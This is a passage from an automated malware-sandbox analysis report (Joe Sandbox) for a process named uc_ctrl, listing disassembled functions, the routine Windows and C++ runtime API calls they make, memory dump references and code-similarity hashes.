SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C6B0D42
GetParent.USER32(?), ref: 6C6B0D6A
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C6B0DE1
GetFocus.USER32 ref: 6C6B0DE7
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C6B0E44

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$Rect$Client$FocusParentScreenWindow
String ID:
API String ID: 4216724418-0
Opcode ID: ce6eb1816e65267c3a431c9303145fcf988d8bc29b0d6b0cf611d9b4f06295d7
Instruction ID: eaf0b62691c838b6d4f6c012bb86f3cd85f7b4096ec3ae657af6bc94bfc3c755
Opcode Fuzzy Hash: ce6eb1816e65267c3a431c9303145fcf988d8bc29b0d6b0cf611d9b4f06295d7
Instruction Fuzzy Hash: 8551B6B1705245ABDF149F64C945AAE7BB5EF49308F100469E905FBBA0DF30E922CB9C

Function 6C68AFE8 Relevance: 12.1, APIs: 8, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 6C68B02C
BeginDeferWindowPos.USER32(00000008), ref: 6C68B042
GetTopWindow.USER32(?), ref: 6C68B054
GetDlgCtrlID.USER32(00000000), ref: 6C68B05D
SendMessageW.USER32(00000000,00000361,00000000,00000000), ref: 6C68B095
GetWindow.USER32(00000000,00000002), ref: 6C68B09E
CopyRect.USER32(?,?), ref: 6C68B0B9
EndDeferWindowPos.USER32(00000000), ref: 6C68B145

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
String ID:
API String ID: 1228040700-0
Opcode ID: 7a8377770ba314b53508fbdb305bc2de14db904005a3895258cd06b2814c7272
Instruction ID: e4544532f0c9ac81f4b534addecd3e6bd039cfb43c8dec748aa90358b1a6952d
Opcode Fuzzy Hash: 7a8377770ba314b53508fbdb305bc2de14db904005a3895258cd06b2814c7272
Instruction Fuzzy Hash: 69514932A02608DFCF10CFA4CC84AEEB7B5BF89315F14406AE815BB650D774A944CB79

Function 6C6AAF76 Relevance: 12.1, APIs: 8, Instructions: 109windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6AAF7D
SendMessageW.USER32(?,0000113E,00000000,?), ref: 6C6AAFBF
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 6C6AAFDF
SHGetDesktopFolder.SHELL32(?), ref: 6C6AAFFE
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6C6AB030
SendMessageW.USER32(?,00001115,00000000,?), ref: 6C6AB071
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6C6AB07F
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6C6AB08F

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$DesktopFolderH_prolog3RedrawWindow
String ID:
API String ID: 1930222516-0
Opcode ID: b735948b5ebe79db328adc97da239819b8568c608bc16771fcf9ff9663f808e4
Instruction ID: cdb5fce876e3a5d62036723c7e0ddc192f96e1f93f08dd5c07ce57ae12a6ec9a
Opcode Fuzzy Hash: b735948b5ebe79db328adc97da239819b8568c608bc16771fcf9ff9663f808e4
Instruction Fuzzy Hash: F4415E71A00209ABDB14DFA1CD88EDEBB79FF09714F040565E505A7760E7709D05CBA8

Function 6C941F40 Relevance: 12.1, APIs: 8, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C941F47
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6C941F58

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C941F71
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,00000017,?,00000000,0000000C), ref: 6C941F8B
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C941FDD

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C942030

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$V?$istreambuf_iterator@_$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0W@std@@@std@@@std@@$H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 188001209-0
Opcode ID: 6328c17065ff6213dc021b434a084ef3416208d0e7889fa32b7ca0f5b499c7ff
Instruction ID: 0a444b5bf10953ff0a12b2afad1b177f76bd7f6b43eb3357b2259dd8643c1728
Opcode Fuzzy Hash: 6328c17065ff6213dc021b434a084ef3416208d0e7889fa32b7ca0f5b499c7ff
Instruction Fuzzy Hash: E7313A70A4021AAFDB04DF64C851BEE7779BF28318F008155F905ABB90EB74DE25CB64

Function 6C93FA70 Relevance: 12.1, APIs: 8, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93FA77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6C93FA88

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93FAA1
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,00000017,?,00000000,0000000C), ref: 6C93FABB
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C93FB0D

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C93FB60

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$V?$istreambuf_iterator@_$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0W@std@@@std@@@std@@$H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 188001209-0
Opcode ID: 0050c669d650e73837b66c583f98950c6758d2a31399cdd5668911b3159e2764
Instruction ID: 619c2a16ed88444cfcad8b8d6d629f91597972cbccb902cb9f3cfd5c3af577c8
Opcode Fuzzy Hash: 0050c669d650e73837b66c583f98950c6758d2a31399cdd5668911b3159e2764
Instruction Fuzzy Hash: D7314CB0A4021AAFDB04DF64DC51BEE3779AF24328F004155F90AAB790EB74DE25CB64

Function 6C94B660 Relevance: 12.1, APIs: 8, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94B667
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6C94B678

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94B691
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000000,00000017,?,00000000,0000000C), ref: 6C94B6AB
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C94B6FD

Part of subcall function 6C93AEBE: ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C93B1AA,00000000,?,6C93A481,?,?,?,?,00000800,00000000), ref: 6C93AEC7

?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(00000000,00000000,?,00000000,0000003B,?,00000000), ref: 6C94B750

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@$V?$istreambuf_iterator@$D@2@@D@std@@@2@0D@std@@@std@@@std@@Getint@?$time_get@V?$ctype@$H_prolog3$??1_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2649806312-0
Opcode ID: 126d6ce07b7f3f8bdd01b3c60e514f3b97690b6ba3088e1d29dd76321fe20d69
Instruction ID: e6e08bf2ff815c632ae6c636888f9d0f31269903b3eb6823e374484beed3bc70
Opcode Fuzzy Hash: 126d6ce07b7f3f8bdd01b3c60e514f3b97690b6ba3088e1d29dd76321fe20d69
Instruction Fuzzy Hash: CA316E7064021AAFDF15DF60CC51BEE3BB9AF24718F004555E9059BB90DB34EE19CB64

Function 6C936DB0 Relevance: 12.1, APIs: 8, Instructions: 94fileCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000034), ref: 6C936DD2
memset.VCRUNTIME140(?,00000000,00000034,?,00000000,00000034), ref: 6C936DDE
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6C936DF9
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C936E0B
CloseHandle.KERNEL32(?,00000000), ref: 6C936E18
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6C936E2B
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C936E3D
CloseHandle.KERNEL32(?,00000000), ref: 6C936E4A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: FileHandle$CloseCreateInformationmemset
String ID:
API String ID: 2456596185-0
Opcode ID: 88ac95a431f3a0021a32f78f9f29ea2aade5a2acbf322912b542632e21d1de30
Instruction ID: 23558c4d718052a771f98e0d4bc055b5e0a727acde0980cfc47bcf2b4a8898a1
Opcode Fuzzy Hash: 88ac95a431f3a0021a32f78f9f29ea2aade5a2acbf322912b542632e21d1de30
Instruction Fuzzy Hash: 3F318671A0526CEEEB109AA4CC84AEEB77CBF02758F544654F569EB1C0D720DD18C761

Function 6C95A9E2 Relevance: 12.1, APIs: 8, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6C95AA0C
dllmain_crt_dispatch.LIBCMT ref: 6C95AA23
__telemetry_main_invoke_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,6C963AA0,0000000C,6C95AB3C,?,00000001,?), ref: 6C95AA3B
dllmain_crt_dispatch.LIBCMT ref: 6C95AA68
dllmain_raw.LIBCMT ref: 6C95AA72
__telemetry_main_return_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,?,00000001,?,6C963AA0,0000000C,6C95AB3C,?,00000001,?), ref: 6C95AA85
dllmain_crt_dispatch.LIBCMT ref: 6C95AA99
dllmain_raw.LIBCMT ref: 6C95AAAC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: dllmain_crt_dispatchdllmain_raw$__telemetry_main_invoke_trigger__telemetry_main_return_trigger
String ID:
API String ID: 2136405172-0
Opcode ID: 02c558de3a76800ae7639b52b36e5b85183aa9e2f329ecb151ee1af400a58e16
Instruction ID: 79e5a381676ef79e4f9524c66ad87cdb0192c1a8a2facfd396f90473d944db37
Opcode Fuzzy Hash: 02c558de3a76800ae7639b52b36e5b85183aa9e2f329ecb151ee1af400a58e16
Instruction Fuzzy Hash: 5D21E276D01256AB8B21CF658E409BF3A3FAF65B68B954505FD1527A01CF34C8318BB8

Function 00776610 Relevance: 12.1, APIs: 8, Instructions: 67COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,007751B0,00000000,?,?,?,?,?,?,?,00000000,?,p#w,80070057), ref: 00776628
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,007751B0,00000000,?,?,?,?,?,?,?,00000000,?,p#w,80070057), ref: 00776634

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: b41b28876e2bf0c7df6e23b489ccb532ca1bf86b03331e6a120ddc08b0d560c5
Instruction ID: 4b8d98d5a577c3b4a70583837e28a8e47510d8df28691cd0eb40e0eca3437304
Opcode Fuzzy Hash: b41b28876e2bf0c7df6e23b489ccb532ca1bf86b03331e6a120ddc08b0d560c5
Instruction Fuzzy Hash: 77015E72201218ABFF212BDDFC48AAEB769EB947B5F418076F60CC6211D66A48508665

Function 6C67AACA Relevance: 12.1, APIs: 8, Instructions: 61memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(00000000), ref: 6C67AADE
lstrcmpW.KERNEL32(00000000,?), ref: 6C67AAEF
OpenPrinterW.WINSPOOL.DRV(?,?,00000000), ref: 6C67AB04
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6C67AB24
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6C67AB2C
GlobalLock.KERNEL32(00000000), ref: 6C67AB36
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 6C67AB47
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 6C67AB5F

Part of subcall function 6C68210F: GlobalFlags.KERNEL32(?), ref: 6C68211C
Part of subcall function 6C68210F: GlobalUnlock.KERNEL32(?,?,6C8BA734,?,6C6B7A20,6C8BA734,6C7E6178,?,?,6C6DFA72,6C6B07E2,00000000), ref: 6C68212A
Part of subcall function 6C68210F: GlobalFree.KERNEL32(?), ref: 6C682136

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 70469d9f1be324db82efef74f065b2226780281f862651a061c3c5337b47687a
Instruction ID: 6ecf8b3fbd2b16b9ca25a8295271e92a100fcfeb3695dd5ea0c2702df6bdf8e5
Opcode Fuzzy Hash: 70469d9f1be324db82efef74f065b2226780281f862651a061c3c5337b47687a
Instruction Fuzzy Hash: C5118FB2501608BFEB125FA0CE89DABBBADEF04B48B100569F60191931DB71D960EB24

Function 6C93B490 Relevance: 12.0, APIs: 8, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93B497
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5

Part of subcall function 6C93B520: new.LIBCMT ref: 6C93B526
Part of subcall function 6C93B520: std::locale::_Locimp::_Locimp.LIBCPMT(?,?,?,6C93B4BA,00000000), ref: 6C93B534

std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD

Part of subcall function 6C93B420: ?_Atexit@@YAXP6AXXZ@Z.MSVCP140(6C93B3B0,?,6C93B4C2,00000000,00000000), ref: 6C93B438

??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3

Part of subcall function 6C934B40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B55
Part of subcall function 6C934B40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B75
Part of subcall function 6C934B40: memcpy.VCRUNTIME140(00000000,?,?,00000000,?,6C93B615,00000000,?,?,?), ref: 6C934B85

??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: std::locale::_$??1_??4?$_Atexit@@D@std@@H_prolog3LocimpLocimp::_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleV01@V123@_Yarn@_lock_localesfreemallocmemcpy
String ID:
API String ID: 787962855-0
Opcode ID: f9c3c145a779fb46282c6c54740a2c227b2e20c19e07740c41905876597953ca
Instruction ID: 08857ea84583cca7038f961ee63c4e36a5f29a9e9f77b39351dbf6bc135bfdea
Opcode Fuzzy Hash: f9c3c145a779fb46282c6c54740a2c227b2e20c19e07740c41905876597953ca
Instruction Fuzzy Hash: FE01B875A066208BCB01EF34C4446BDBBB5FFAAA14B644809D4125BB80CF74EE19CBD4

Function 6C6A697F Relevance: 10.7, APIs: 7, Instructions: 214COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6A6986
GetClientRect.USER32(?,?), ref: 6C6A69B1
SetCapture.USER32(?), ref: 6C6A69DB

Part of subcall function 6C6A8A7B: IsRectEmpty.USER32(?), ref: 6C6A8AA3
Part of subcall function 6C6A8A7B: InvertRect.USER32(?,?), ref: 6C6A8AB1
Part of subcall function 6C6A8A7B: SetRectEmpty.USER32(?), ref: 6C6A8AC3

SetCapture.USER32(?), ref: 6C6A6A2D
PtInRect.USER32(?,?,?), ref: 6C6A6B16
GetCapture.USER32 ref: 6C6A6B3F
ReleaseCapture.USER32 ref: 6C6A6B49

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

